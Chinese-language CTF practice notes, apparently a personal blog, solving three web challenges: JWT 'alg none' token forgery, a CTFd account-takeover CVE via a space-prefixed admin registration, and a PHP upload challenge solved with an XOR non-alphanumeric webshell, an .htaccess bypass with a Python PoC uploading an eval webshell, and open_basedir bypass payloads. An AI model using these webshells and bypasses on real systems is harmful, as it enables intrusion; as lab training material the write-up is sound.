最近状态不太好!!!😶😶😶😶😶😶
不行!不要放弃!你既然喜欢渗透!!!那就要坚持!!! 不要怕!!!干就完了!
刷刷刷!!!刷
[HFCTF2020]EasyLogin

上来又是一个登录框!!!
sql注入!还是啥!
随便注册了个!
登录后要我输入flag!!!😏🙄
哎呀
去学学node.js
Node.js 是运行在服务端的 JavaScript,如果你熟悉Javascript,那么你将会很容易的学会Node.js。
学学!!!
日了好像Node.js不需要web服务器里!!!tql

啊啊啊啊啊!速看是真的快!不过每次做题的点!去看语言都找不到在哪!!!😫😫😫😫
直接考到了框架!!!这 妈的!!老子学给看!!!web没又难题!就只有知道不知道!!!
妈的!!!加油!!!!!
考的大佬的图:

形式:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.(这里有一个点)eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.(这里也有一个点)TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ
第一个点前为header,第二个点前为payload,第二个点后为signture
一个攻击点:当header中的alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.’+ payload +’.’)并将其提交给服务器。
反正记住header和payload是:
前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+
、/
和=
,在 URL 里面有特殊含义,所以要被替换掉:=
被省略、+
替换成-
,/
替换成_
。这就是 Base64URL 算法。
jwt.’none’绕过
JSON Web Token 入门教程
http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
深入了解Json Web Token之实战篇
https://www.freebuf.com/articles/web/181261.html

哎呀!!!啥也不知道!!!
通过2. 将加密方式改为’none’绕过!!!和上回还不一样!!!
找到了上面直接构造:exp
exp
<?php
$a='"alg":"none","typ":"JWT"'; $b = '{"secretid":[],"username":"admin","password":"123456","iat":1590582025}'; echo base64_encode($a); echo"\n"; echo base64_encode($b);
?>
|
注意最后:
等号变成:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.
eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDU4MjAyNX0.
[V&N2020 公开赛]HappyCTFd

直接来了个ctfd!刚开始还因为题目在里面呢🙄
看了看题目知道了!!
登录看看!
发现admin用户有了!
好卡呀!!!
进去后发现啥也没有!
但是
这是要干啥
好家伙!直接cve复现!!!可以👾
CTFd账户接管漏洞
注册一个空格admin用户 登录成功后再登出 在登录页面选择忘记密码 改密链接会发送到注册邮箱中,这里使用buuoj的内部邮箱 在邮箱中修改密码 使用admin用户和更改后的密码进行登录 在Admin Panel =>Challenges页面找到flag
|
我c了!!
他的内网好像有问题!!!
内网邮箱地址
邮件收不到!!!!
服了!
1、注册 首先申请一个内网的邮箱,因为靶机没法访问外网,在https://buuoj.cn/resources中找到相应链接。 然后注册账户,空格绕过:(空格)admin
2.忘记密码,拿到admin的密码 注册好以后退出登录,用admin登录(不加空格),点击忘记密码并将邮件发送到刚刚注册的内网邮箱,重置密码。
3、flag 用admin账号登录,在hidden的misc题目附件中找到flag
|
[SUCTF 2019]EasyWeb
先放个大佬的文章:
https://www.cnblogs.com/20175211lyz/p/11488051.html#4php%E4%B8%AD%E7%9A%84%E7%9A%84%E5%A4%A7%E6%8B%AC%E5%8F%B7%E8%8A%B1%E6%8B%AC%E5%8F%B7%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3
<?php function get_the_flag(){ $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } }
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__); }
if(strlen($hhh)>18){ die('One inch long, one inch strong!'); }
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!');
$character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!");
eval($hhh); ?>
|
上来先来个php代码审计!
大佬:
https://www.cnblogs.com/20175211lyz/p/11488051.html#4php%E4%B8%AD%E7%9A%84%E7%9A%84%E5%A4%A7%E6%8B%AC%E5%8F%B7%E8%8A%B1%E6%8B%AC%E5%8F%B7%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3
https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/[](https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/)
首先为啥是无字母数字webshell呢!
他是\x00到\x7F刚好是127位!可见字符都没了!考不可见字符在我的🧠里好像也就异或webshell了!
那就可以想到用不可见字符(ascil码大于127的)!通过异或来获取可见字符!
无字母数字webshell+
首先是不能有字母不能有数字,我们可以用脚本
<?php $l = ""; $r = ""; $argv = str_split("_GET"); for($i=0;$i<count($argv);$i++){ for($j=0;$j<255;$j++) { $k = chr($j)^chr(255); if($k == $argv[$i]){ if($j<16){ $l .= "%ff"; $r .= "%0" . dechex($j); continue; } $l .= "%ff"; $r .= "%" . dechex($j); } }} echo "\{$l`$r\}";
?>
|
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=phpinfo ## 1^2=2^1 ## 这里值得注意的是${_GET}{%A0}就等于$_GET[%A0],%A0是一个字符虽然没有被引号引起来但是php也不会将他看出是变量,这就是为什么&_GET[cmd]=&_GET["cmd"] 了。 ## 还有一个特性是$a=phpinfo 如果执行$a() 就相当于执行了phpinfo()
|
异或简单理解:
就是把ascil码进行异或!最后结果再chr一下!看脚本也可以理解他的原理!

干干干!
.htaccess 绕过上传限制
已经知道是php7
他对文件的后缀和内容都有过滤!!!
这里学到了一个新知识点!
可以看到文件名中不能出现php
,内容不能有<?同时规定文件类型是图片。
因为php = 7.2
所以不能用``来绕过文件内容(<?)过滤。在上面phpinfo
中可以看环境是Apache + PHP
,所以可以通过上传.htaccess
绕过文件名过滤,然后通过编码解码绕过文件内容过滤。
对于exif_imagetype()
的绕过方式:
使用\x00\x00\x8a\x39\x8a\x39绕过 使用#define width 1337\n#define height 1337绕过
|
poc
import requests import base64 url="http://363894cb-b112-4e61-9727-779aad3c69fe.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag" htaccess=""" \x00\x00\x85\x48\x85\x18 #define width 1 #define height 1 AddType application/x-httpd-php .pxp php_value auto_append_file "php: """
###这里需要替换为自己上传的文件名
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节
#first_upload ---- to upload .htaccess
files1={ 'file':('.htaccess',htaccess,'image/jpeg') } r1=requests.post(url=url,files=files1) print (r1.text)
#second_upload ---- to upload .shell # files2={ 'file':('2.pxp',shell,'image/jpeg') } r1=requests.post(url,files=files2) print (r1.text)
|
绕过open_basedir得到flag
什么是open_basedir
Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。 一般情况下,我们最多可以绕过open_basedir的限制对其进行列目录。绕过open_basedir进行读写文件危害较大,在php5.3以后很少有能够绕过open_basedir读写文件的方法。
php可以读写的文件、目录都将被限制在这些目录中
open_basedir绕过
https://www.v0n.top/2020/07/10/open_basedir%E7%BB%95%E8%BF%87/[](https://www.v0n.top/2020/07/10/open_basedir%E7%BB%95%E8%BF%87/)
https://xz.aliyun.com/t/4720
print_r(scandir(‘/var/www/html/F1AghhhhhhhhhhhhhHH’));
print_r(file_get_contents(‘/var/www/html/F1AghhhhhhhhhhhhhHH’));
payload
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
|